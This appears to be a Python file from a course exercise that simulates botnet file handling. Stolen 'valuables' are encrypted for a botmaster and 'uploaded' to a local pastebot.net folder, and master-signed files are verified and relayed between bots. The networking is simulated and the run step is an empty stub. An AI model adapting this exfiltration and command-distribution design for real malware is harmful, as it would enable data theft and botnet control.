import os

from Crypto.PublicKey import RSA
from Crypto.Hash import SHA
import Crypto.Cipher.PKCS1_v1_5
import Crypto.Signature.PKCS1_v1_5

# Instead of storing files on disk,
# we'll save them in memory for simplicity
filestore = {}
# Valuable data to be sent to the botmaster
valuables = []

###


def save_valuable(data):
    valuables.append(data)


def encrypt_for_master(data):
    # Encrypt the file so it can only be read by the bot master
    # Import the public key from the pastebot.net
    # If the key does not exist, this program will exit, bot should call Master to generate the master key
    public_key = RSA.importKey(open('../pastebot.net/mykeypublic.pem').read())
    cipher = Crypto.Cipher.PKCS1_v1_5.new(public_key)
    ciphertext = cipher.encrypt(data)

    return ciphertext


def upload_valuables_to_pastebot(fn):
    # Encrypt the valuables so only the bot master can read them
    valuable_data = "\n".join(valuables)
    valuable_data = bytes(valuable_data, "ascii")
    encrypted_master = encrypt_for_master(valuable_data)

    # "Upload" it to pastebot (i.e. save in pastebot folder)
    f = open(os.path.join("../pastebot.net", fn), "wb")
    f.write(encrypted_master)
    f.close()

    print("Saved valuables to pastebot.net/%s for the botnet master" % fn)

###


def verify_file(f):
    # Verify the file was sent by the bot master
    # TODO: For Part 2, you'll use public key crypto here
    # Naive verification by ensuring the first line has the "passkey"
    # lines = f.split(bytes("\n", "ascii"), 1)
    # first_line = lines[0]
    # if first_line == bytes("Caesar", "ascii"):
    #     return True
    # return False

    # Split the signature and original file
    lines = f.split(bytes("\nMessage_Start_Here\n", "ascii"), 1)	

    # The signature does not exist, the file is not signed by Master
    if len(lines) < 2:
        print("This file has not been signed by the master.")
        return False

    signature = lines[0]
    message_encoded = lines[1]
    # Import the public key stored in the pastebot.net
    # If the key does not exist, the program will exit
    key_verifier = RSA.importKey(open('../pastebot.net/mykeypublic.pem').read())
    h_verifier = SHA.new(message_encoded)
    # Get the verifier from the stored file
    verifier = Crypto.Signature.PKCS1_v1_5.new(key_verifier)
    # Use the verify function to judge if this file is signed by the master
    if verifier.verify(h_verifier, signature):
        print("The signature is authentic.")
        return True
    else:
        print("The signature is not authentic.")
        return False


def process_file(fn, f):
    if verify_file(f):
        # If it was, store it unmodified
        # (so it can be sent to other bots)
        # Decrypt and run the file
        filestore[fn] = f
        print("Stored the received file as %s" % fn)
    else:
        print("The file has not been signed by the botnet master")


def download_from_pastebot(fn):
    # "Download" the file from pastebot.net
    # (i.e. pretend we are and grab it from disk)
    # Open the file as bytes and load into memory
    if not os.path.exists(os.path.join("../pastebot.net", fn)):
        print("The given file doesn't exist on pastebot.net")
        return
    f = open(os.path.join("../pastebot.net", fn), "rb").read()
    process_file(fn, f)


def p2p_download_file(sconn):
    # Download the file from the other bot
    fn = str(sconn.recv(), "ascii")
    f = sconn.recv()
    print("Receiving %s via P2P" % fn)
    process_file(fn, f)

###


def p2p_upload_file(sconn, fn):
    # Grab the file and upload it to the other bot
    # You don't need to encrypt it only files signed
    # by the botnet master should be accepted
    # (and your bot shouldn't be able to sign like that!)
    if fn not in filestore:
        print("That file doesn't exist in the botnet's filestore")
        return
    print("Sending %s via P2P" % fn)
    fn_encoded = fn.encode("ascii")
    # The parameter of function send should be bytes, not string
    sconn.send(fn_encoded)
    sconn.send(filestore[fn])


def run_file(f):
    # If the file can be run,
    # run the commands
    pass
